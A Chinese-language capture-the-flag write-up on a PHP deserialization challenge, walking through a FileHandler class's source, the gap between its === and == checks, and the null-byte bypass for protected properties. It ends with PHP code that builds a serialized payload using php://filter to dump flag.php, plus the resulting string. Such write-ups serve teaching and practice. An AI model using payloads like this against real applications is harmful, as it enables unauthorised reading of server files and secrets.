知识点

  • file_get_content()可以读取php://filter伪协议
  • protected/private类型的属性序列化后产生不可打印字符，public类型则不会
  • PHP7.1+对类的属性类型不敏感
  • 强弱类型比较“===”、“==”

启动靶机

打开题目，给了我们源码

  1. <?php
  3. include("flag.php");
  5. highlight_file(__FILE__);
  7. class FileHandler {
  9.     protected $op;
  10.     protected $filename;
  11.     protected $content;
  13.     function __construct() {
  14.         $op = "1";
  15.         $filename = "/tmp/tmpfile";
  16.         $content = "Hello World!";
  17.         $this->process();
  18.     }
  20.     public function process() {
  21.         if($this->op == "1") {
  22.             $this->write();
  23.         } else if($this->op == "2") {
  24.             $res = $this->read();
  25.             $this->output($res);
  26.         } else {
  27.             $this->output("Bad Hacker!");
  28.         }
  29.     }
  31.     private function write() {
  32.         if(isset($this->filename) && isset($this->content)) {
  33.             if(strlen((string)$this->content) > 100) {
  34.                 $this->output("Too long!");
  35.                 die();
  36.             }
  37.             $res = file_put_contents($this->filename, $this->content);
  38.             if($res) $this->output("Successful!");
  39.             else $this->output("Failed!");
  40.         } else {
  41.             $this->output("Failed!");
  42.         }
  43.     }
  45.     private function read() {
  46.         $res = "";
  47.         if(isset($this->filename)) {
  48.             $res = file_get_contents($this->filename);
  49.         }
  50.         return $res;
  51.     }
  53.     private function output($s) {
  54.         echo "[Result]: <br>";
  55.         echo $s;
  56.     }
  58.     function __destruct() {
  59.         if($this->op === "2")
  60.             $this->op = "1";
  61.         $this->content = "";
  62.         $this->process();
  63.     }
  65. }
  67. function is_valid($s) {
  68.     for($i = 0; $i < strlen($s); $i++)
  69.         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
  70.             return false;
  71.     return true;
  72. }
  74. if(isset($_GET{'str'})) {
  76.     $str = (string)$_GET['str'];
  77.     if(is_valid($str)) {
  78.         $obj = unserialize($str);
  79.     }
  81. }

查看代码可以看出来，GET方式传入序列化的str字符串，str字符串中每一个字符的ASCII范围在32到125之间，然后对其反序列化。
在反序列化的过程中，调用__destruct析构方法

  1. function __destruct() {
  2.     if($this->op === "2")
  3.         $this->op = "1";
  4.     $this->content = "";
  5.     $this->process();
  6. }

如果op===”2”，将其赋为”1”，同时content赋为空，进入process函数，需要注意到的地方是，这里op与”2”比较的时候是强类型比较

  1. public function process() {
  2.     if($this->op == "1") {
  3.         $this->write();
  4.     } else if($this->op == "2") {
  5.         $res = $this->read();
  6.         $this->output($res);
  7.     } else {
  8.         $this->output("Bad Hacker!");
  9.     }
  10. }

进入process函数后，如果op==”1”，则进入write函数，若op==”2”，则进入read函数，否则输出报错，可以看出来这里op与字符串的比较变成了弱类型比较==。
以我们只要令op=2,这里的2是整数int。当op=2时，op===”2”为false，op==”2”为true，接着进入read函数

  1. private function read() {
  2.     $res = "";
  3.     if(isset($this->filename)) {
  4.         $res = file_get_contents($this->filename);
  5.     }
  6.     return $res;
  7. }

filename是我们可以控制的，接着使用file_get_contents函数读取文件，我们此处借助php://filter伪协议读取文件，获取到文件后使用output函数输出

  1. private function output($s) {
  2.     echo "[Result]: <br>";
  3.     echo $s;
  4. }

整个利用思路就很明显了，还有一个需要注意的地方是，$op,$filename,$content三个变量权限都是protected，而protected权限的变量在序列化的时会有%00*%00字符，%00字符的ASCII码为0，就无法通过上面的is_valid函数校验。
对于PHP版本7.1+，对属性的类型不敏感，我们可以将protected类型改为public，以消除不可打印字符。

在这里有几种绕过的方式，简单的一种是：php7.1+版本对属性类型不敏感，本地序列化的时候将属性改为public进行绕过即可

构造Payload

  1. <?php
  2.   class FileHandler {
  3.       public $op = 2;
  4.       public  $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
  5.       public  $content;
  7.   }
  9.   $a = new FileHandler();
  10.   $b = serialize($a);
  11.   echo $b;
  12. ?>

得到：

  1. O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

image.png